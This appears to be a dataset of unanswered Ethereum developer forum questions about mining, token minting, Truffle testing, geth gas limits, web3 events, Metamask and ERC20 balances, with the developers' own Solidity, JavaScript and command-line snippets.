texts: How can a miner mine their own ethereum transaction?

texts: From the answer of this question Can miners mine their own transactions? it seems that if someone wanted to make a transaction on the ethereum blockchain for the smallest transaction price (gas) possible, they could run a miner to mine the specific transaction. My question is: How can this be done? (the necessary steps)


texts:
I am looking for example of implementation of mintable token where minting happens automatically based on certain rules (e.g. percentage of inflation per year that reduces overtime).

OpenZeppelin has MintableToken implementation https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/token/MintableToken.sol

That implementation assumes that owner calls mint function wherever required.

What is the best way to make minting happen automatically?

I was thinking to add mint logic call to 'transfer' function that would check if it is time to create new tokens and create them. Is it good approach?


texts: Ethereum contract being executed each time a block is validated

texts:
The transaction and smart contract code is re-run by every validating node upon receipt of the block. Wouldn't this occur a contract to run multiple times?

How does this execution work without duplicating the transactions in a contract?


texts:
I'm trying to wrap my brain around how to effectively test multi "projects" in Truffle, assume a simple ganache setup, also assume that these contracts seem to work, in remix, and in unit tests, but, i'm paranoid, and i really need more comprehensive functional testing.  Assume you will run out of gas if you combine the projects.  The Admin contract deploy is similar, so it wasn't included to safe space.

Use the following contracts, in different directories, etc, add others if illustration needed:
a) Admin Contract Project
b) Coin Contract Project

is there a good way to:
1. deploy, migrate, and test project A
2. deploy, migrate, and test project B, and after the deploy of B make calls to A, and test A and B's interactions

Effectively, I want to 'wire' it all up for testing, and then TEST it.

The key here is multiple projects and referencing previous project deploys (which will be on the local dev ganache blockchain).   There seems like there should be an easy way to adapt the following structure to meet that need, specifically to reference another projects Admin contract, this will allow wire up and functional testing.

var CoinID = artifacts.require("CoinID");

module.exports = async function(deployer, accounts) {
  let coinID;

  await Promise.all([
    deployer.deploy(CoinID)
  ]);

  instances = await Promise.all([
      CoinID.deployed()
  ])

  coinID = instances[0];

  results = await Promise.all([
  console.log("Addresses for Contracts:"),
  console.log("CoinID: " + coinID.address),
  coinID.setAdminContractAddress("Admin", "0x39F57B1E3D8cA0b10cD3b8a339d57C6160103b87")
  ]);

};

Note: i have the above working in a 2 project assembly, but i'm REALLY looking at even bigger pictures.   How do you EASILY stage a series, say > 5 projects in truffle?

Deploying such all by hand is a bit error prone.


texts: Why does PoS use a target Hash with validation?

texts:
As I understand, there is 2 methods on choosing the next node for block validation in PoS namely: 1. coin age and 2. randomized node selection based on stake value and hash value.
In PoW the protocol uses a target hash in which the block hash needs to be smaller or equal to the target hash for approval. But if we do not make use of iterative nonce guessing, why does PoS need a target hash?


texts: What should be the limit for miner to mine a block

texts:
I am trying to run my smart contract in remix ide, below is my smart contract code:

pragma solidity >=0.4.17 <0.7.0;
pragma experimental ABIEncoderV2;
contract Department{

    struct Employee{
        uint empId;
        string empName;
        uint256 empSalary;
    }

    uint departmentId;
    string departmentName;
    mapping (uint => Employee) public employees;
    uint public employeeCount;

    constructor(uint _departmentId, string memory _departmentName) public {
        employeeCount = 0;
        departmentId = _departmentId;
        departmentName = _departmentName;
    }

    function addEmployee(uint _empId, string memory _empName, uint _empSalary ) public {
        employees[employeeCount] = Employee(_empId, _empName, _empSalary);
        employeeCount++;
    }

    //return Single structure
    function get(uint _index) public view returns(Employee memory) {
        return employees[_index];
    }

    //return Array of structure Value
    function getEmployee() public view returns (uint[] memory, string[] memory, uint[] memory) {
        uint[]    memory id = new uint[](employeeCount);
        string[]  memory name = new string[](employeeCount);
        uint[]    memory salary = new uint[](employeeCount);
        for (uint i = 0; i < employeeCount; i++) {
          Employee storage employee = employees[i];
          id[i] = employee.empId;
          name[i] = employee.empName;
          salary[i] = employee.empSalary;
        }
        return (id, name, salary);
    }

    //return Array of structure
    function getEmployees() public view returns (Employee[] memory) {
        Employee[]  memory id = new Employee[](employeeCount);
        for (uint i = 0; i < employeeCount; i++) {
          Employee storage employee = employees[i];
          id[i] = employee;
        }
        return id;
    }

}

I am running private block wherein my miners are mining the blocks. I had my miners running all the time but they were adding empty blocks so I used --preload mineWhenNeeded.js flag and limit the miners to mine until 12 blocks using following code in my mineWhenNeeded.js

var minimum_confirmations = 12;
var mining_threads = 1
var txBlock = 0
function checkWork() {
    if (eth.getBlock("pending").transactions.length > 0) {
        txBlock = eth.getBlock("pending").number
        if (eth.mining) return;
        console.log("  Transactions pending. Mining...");
        miner.start(mining_threads)
        interval = setInterval(function () {
            if (eth.getBlock("latest").number < txBlock + minimum_confirmations) {
                if (eth.getBlock("pending").transactions.length > 0) txBlock = eth.getBlock("pending").number;
            } else {
                console.log(minimum_confirmations + " confirmations achieved; mining stopped.");
                miner.stop()
                clearInterval(interval);
            }
        }, 600)
    }
}

eth.filter("latest", function (err, block) { checkWork(); });
eth.filter("pending", function (err, block) { checkWork(); });

checkWork();

Here is my geth command

 geth --datadir $ethereum_home/chaindata --preload "scripts/mineWhenNeeded.js" --networkid 45638 --verbosity 6 --rpc --port 30304 --rpcport 8545 --rpcaddr "0.0.0.0" --rpcapi "web3,eth,personal,net" --rpccorsdomain remix.ethereum.org --nodiscover --gcmode archive --allow-insecure-unlock console 2

But now after some time I am getting error Returned error: gas required exceeds allowance (8000000) or always failing transaction

After few experiments I realize that if I let my miners run for a while and check the limit
of my latest block using following code eth.getBlock("pending").gasLimit in geth console, the limit is decreasing gradually.
It seems like if I let my miners run all the time then I will not get that gas required exceeds allowance issue anymore. Now I am wondering, should I remove the restriction to mine only 12 blocks but it gonna start adding empty blocks again. What should I do?


texts:
Is it possible to lose ownership of an Ethereum token contract that I create?

I've read through the Ethereum tutorial (https://www.ethereum.org/token) on how to create a token. However, I find myself questioning whether another user could do a hostile takeover of my token.

Obviously, if they had my public/private key they could get control, but are there other ways.

For instance, if a user owned more than 50% of the tokens in circulation would they be able to claim ownership of my contract?

I want to ensure that the coin is protected.


texts: Is there a card which I can have stablecoin on the backend but use for fiat purchases?

texts:
Is there a pre-paid card, which stakes stablecoin in order to ear interest, but the user can also spend the stablecoin on daily purchases like a regular debit card?
I guess similar to this https://crypto.com/cards but not in a volatile token, but a stablecoin.


texts: How do I use in3 (Incubed) for Bash to view ethereum records for a given address?

texts:
I want to be able to query an ethereum contract address that I know is valid with the in3 module in bash.
I have installed Incubed (in3) for bash), and I have used this documentation to try to query specific addresses: https://in3.readthedocs.io/en/develop/api-cmd.html#api-reference-cmd
This command works and helps someone see what I am trying to query:
in3 eth_getBlockByNumber latest true | jq '.transactions[0]'

When I try commands like these (replacing 151 with a different number), I am never able to get the number higher than 200:
in3 eth_getBlockByNumber latest false | jq '.transactions[151]'

in3 eth_getBlockByNumber latest true | jq '.transactions[151]'

I would like to query using jq, but it is not a requirement.
This command works:
in3 -to 0x2736D225f85740f42D17987100dc8d58e9e16252 call "servers(uint256):(string,address,uint256,uint256,uint256,address)" 1

When I try another valid address in the above command, it returns nothing.  (Invalid addresses return an error of some sort like "No result".)
How can I use an in3 command to view older transaction addresses?  It seems that I can only view more recent transactions.  I cannot view more than maybe 400.


texts:
I have ETH in my freewallet wallet when I use the app.

But when I access "My wallet address" in etherscan, it is empty and says the coins were sent to another account

Are the coins in FreeWallet's account?


texts: Smart contract event showing "Uncaught TypeError: contract_instance.NumberIsIncreased is not a function"

texts:
My function is:

function watchEvents(){
                myEvent = contract_instance.NumberIsIncreased({},{fromBlock: 'latest', toBlock: 'latest'});
                console.log(myEvent);
                myEvent.watch(function(error, result){
                    if(error){
                        console.log(error);
                    } else{
                        console.log(result);
                        document.getElementById("events").innerHTML = document.getElementById("events").innerHTML + "<br />" + JSON.stringify(result);
                    }
                });

            }

This is the contract:

event NumberIsIncreased(address indexed whoIncreased, uint256 indexed oldNumber, uint256 indexed newNumber);

function setMyNumber(uint256 myNewNumber) public {
        NumberIsIncreased(msg.sender, myNumber, myNewNumber);
        myNumber = myNewNumber;
    }

Although I can access other functions on the smart contract, when I'm calling the event, it's showing the error Uncaught TypeError: contract_instance.NumberIsIncreased is not a function.

I can track events in the Mist browser too.

I'm using geth version : 1.7.2-stable.

Edit 1:

I'm using web3.js version : 0.14.0

Other functions that are working:

function getCounter(){
                contract_instance.getMyNumber(function(e,r){
                    document.getElementById("myCounter").innerText = r.toNumber();
                });
            }

function increaseCounter(){
                contract_instance.getMyNumber(function(e,r){
                    currentNumber = r;
                    currentNumber++;
                    web3.eth.getAccounts(function(e,accounts){
                        web3.personal.unlockAccount(accounts,"password", function(e,r){});
                        contract_instance.setMyNumber(currentNumber, {from:accounts[0]  , gas:200000}, function(error, result){
                            if (error){
                                console.error(error);
                            } else {
                                var txHash = result;
                                console.log(txHash);
                                callWhenMined(txHash, getCounter);
                            }
                        });
                    });
                });
            }

My contract file :

pragma solidity ^0.4.0;

contract MyContract {
    address creator;
    uint256 myNumber;

    event NumberIsIncreased(address indexed whoIncreased, uint256 indexed oldNumber, uint256 indexed newNumber);

    function MyContract() public {
        creator = msg.sender;
        myNumber = 3;
    }

    function getCreator() public constant returns (address) {
        return creator;
    }

    function getMyNumber() public constant returns (uint256) {
        return myNumber;
    }

    function setMyNumber(uint256 myNewNumber) public {
        NumberIsIncreased(msg.sender, myNumber, myNewNumber);
        myNumber = myNewNumber;
    }

    function kill() public {
        if (msg.sender == creator) {
            selfdestruct(creator);
        }
    }

}


texts: window ethereum networkVersion undefined

texts:
I am developing a frontend of my smart contract using Angular 8 and web3 version 1.2.7.
When I enter the view my web3 service gets created. In the constructor I check if the window.ethereum object exists. If yes I want to set some variables according to the networkVersion, but sometimes networkVersion is undefined and the behavior of the website is then undefined too.

I have no idea why window.ethereum exists but networkVersion is undefined. Maybe I call it to early before the provider (in my case Metamask) can set the values.

Does anyone face the same problem and has a solution for that?

Web3Service.ts

constructor(private snackBar: MatSnackBar, private dialog: MatDialog) {
   if (typeof window.ethereum !== 'undefined') {
      this.web3 = new Web3(window.web3.currentProvider);
      // Here networkVersion sometimes undefined
      this.networkId = +window.ethereum.networkVersion;

      if (this.networkId === 1) {
        this.apiPath = environment.apiPathMainnet;
        this.tokenContract = new this.web3.eth.Contract(artifacts.abi, environment.mainnetContractAddress);
      } else if (this.networkId === 3) {
        this.apiPath = environment.apiPathRopsten;
        this.tokenContract = new this.web3.eth.Contract(artifacts.abi, environment.ropstenContractAddress);
      } else {
        this.apiPath = environment.apiPathRopsten;
        this.networkNotSupported();
      }
   }
}


texts: How to call a private Smart Contract function?

texts:
A very noob question, I guess, but I can't wrap my mind around it. What are the ways of calling a private smart contract function? It's not possible from Remix. For example, there is a private function that gets two uint256 values and return a third uint256, which is the sum of the two, and the function is private.

Could you please explain the possible options of calling it?


texts: Can I get an ERC20 balance n blocks back in time?

texts:
By calling a running Ethereum node through the getBalance API, you can get the Ethereum balance N blocks back as explained here. This is useful if you would only like to trust a balance which has been sufficiently confirmed by the network.

Is the same possible for ERC20 tokens? Does there exist a service that can show me what the token balance for a given address was 5 blocks ago?


texts: How to find all tokens that implements a specific contract

texts:
I'm trying to filter all the Tokens that implement a specific contract for a specific public address.

I'm using web3 / metamask app. I'm trying to do it on via

var options = {
....
//address: "....",
//???
};

var filter = web3.eth.filter(options);

web3.eth.filter(options, function(error, result){
if (!error)
   console.log(result);
});

My goal is to operate with ERC721 tokens, so to access to the metadata of the single Token.


texts:
Metamask loads data from the blockchain into my browser, it's a light client.

How much data can I load until it stops. There must be some type of resource limit involved here...

I'm sure metamask doesn't want us using the client as a CDN to deliver large resources.